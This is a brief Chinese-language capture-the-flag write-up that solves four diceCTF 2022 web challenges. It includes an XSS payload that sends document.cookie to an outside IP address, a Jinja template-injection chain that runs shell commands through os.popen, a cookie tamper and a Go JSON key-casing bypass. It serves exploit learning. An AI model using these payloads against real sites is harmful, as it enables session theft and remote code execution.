[diceCTF2022]pastebin

https://www.freebuf.com/articles/web/245097.html

就是说呢，img一个标签符也可以自己闭合

payload

paste=<img src="x" onerror=window.open('http://8.129.42.140:3307?'%2Bdocument.cookie)

[diceCTF2022]reverser

脚本

payload='''{{{}.__class__.__bases__[0].__subclasses__()[59].__init__}}'''
payload='''{{{}.__class__.__bases__[0].__subclasses__()[183].__init__.__globals__.__builtins__.__import__('os').popen('cat flag-43c12348-618d-4654-9a53-efec91bc851c.txt').read()}}'''

print(payload[::-1])

最终Payload

}})(daer.)'di'(nepop.)'so'(__tropmi__.__snitliub__.__slabolg__.__tini__.]381[)(__sessalcbus__.]0[__sesab__.__ssalc__.}{{{

ls后发现flag在flag-43c12348-618d-4654-9a53-efec91bc851c.txt，然后读就可以

[diceCTF2022]secure-page

改cookie为admin=true

[diceCTF2022]point

这个结构体，左边是属性在go中的键名，右边是在json中的键名，就是有多种建名

if whatpoint.Whatpoint == "that_point" {
                fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
                return

意思是让结构体whatpoint的Whatpoint这个键对应的值从what_point变成that_point。

通过这个err = json.Unmarshal(body, &whatpoint)

json转struct，必须要大写首字母-》刚好绕过了过滤

payload

{"What_point":"that_point"}